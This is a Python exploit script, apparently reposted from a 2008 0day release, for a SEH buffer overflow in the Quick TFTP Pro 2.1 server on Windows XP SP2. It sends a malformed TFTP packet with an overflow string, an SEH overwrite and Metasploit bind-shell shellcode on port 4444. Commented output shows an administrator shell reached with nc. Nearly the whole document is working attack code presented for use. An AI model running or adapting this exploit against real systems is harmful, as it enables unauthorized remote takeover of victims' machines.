Quick TFTP Pro 2.1 Remote SEH Overflow Exploit (0day)

    [晴 March 27, 2008 00:03 | by ]
#!/usr/bin/python
# Quick TFTP Pro 2.1 SEH Overflow (0day)
# Tested on Windows XP SP2.
# Coded by Mati Aharoni
# muts..at..offensive-security.com
# http://www.offensive-security.com/0day/quick-tftp-poc.py.txt
#########################################################
# bt ~ # quickftp.py
# [*] Quick TFTP Pro 2.1 SEH Overflow (0day)
# [*] http://www.offensive-security.com
# [*] Sending evil packet, ph33r
# [*] Check port 4444 for bindshell
# bt ~ # nc -v 172.16.167.130 4444
# (UNKNOWN) [172.16.167.130] 4444 (krb524) open
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Documents and Settings\Administrator>
##########################################################
import socket
import sys

print "[*] Quick TFTP Pro 2.1 SEH Overflow (0day)"
print "[*] http://www.offensive-security.com"

host = '172.16.167.134'
port = 69

try:
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
   print "socket() failed"
   sys.exit(1)

filename = "pwnd"

# windows/shell_bind_tcp - 317 bytes
# http://www.metasploit.com
# EXITFUNC=thread, LPORT=4444

shell=("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b"
"\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01"
"\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07"
"\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f"
"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b"
"\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff"
"\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0"
"\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08"
"\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53"
"\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x11\x5c\x66"
"\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51"
"\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53\x55\xff\xd0"
"\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff\xd0\x93"
"\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66"
"\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38"
"\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57"
"\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9"
"\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83"
"\xc4\x64\xff\xd6\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6"
"\xff\xd0")

mode = "A"*1019+"\xeb\x08\x90\x90"+"\x58\x14\xd3\x74"+"\x90"*16+shell

muha = "\x00\x02" + filename+ "\0" + mode + "\0"

print "[*] Sending evil packet, ph33r"
s.sendto(muha, (host, port))
print "[*] Check port 4444 for bindshell"
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